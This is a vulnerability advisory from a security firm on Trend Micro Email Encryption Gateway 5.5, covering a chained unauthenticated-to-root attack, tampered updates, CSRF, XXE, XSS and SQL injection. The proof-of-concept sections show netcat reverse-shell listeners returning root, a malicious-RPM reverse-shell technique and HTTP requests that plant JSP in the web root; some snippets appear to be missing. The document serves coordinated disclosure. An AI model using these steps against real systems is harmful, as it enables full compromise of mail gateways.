Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. *Vulnerability Description*
Trend Micro's website states that:[1]
Encryption for Email Gateway is a Linux-based software solution providing
the ability to perform the encryption and decryption of email at the
corporate gateway, regardless of the email client, and the platform from
which it originated. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs. This enables easy
integration with other email server-based products, be them content
scanners, mail servers, or archiving solutions."
Multiple vulnerabilities were found in the Trend Micro Email Encryption
Gateway web console that would allow a remote unauthenticated attacker
to gain command execution as root.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
Trend Micro Email Encryption Gateway includes a web console to perform
administrative tasks. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows
an attacker in a man-in-the-middle position to write arbitrary files and
install arbitrary RPM packages, leading to remote command execution as
the root user.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
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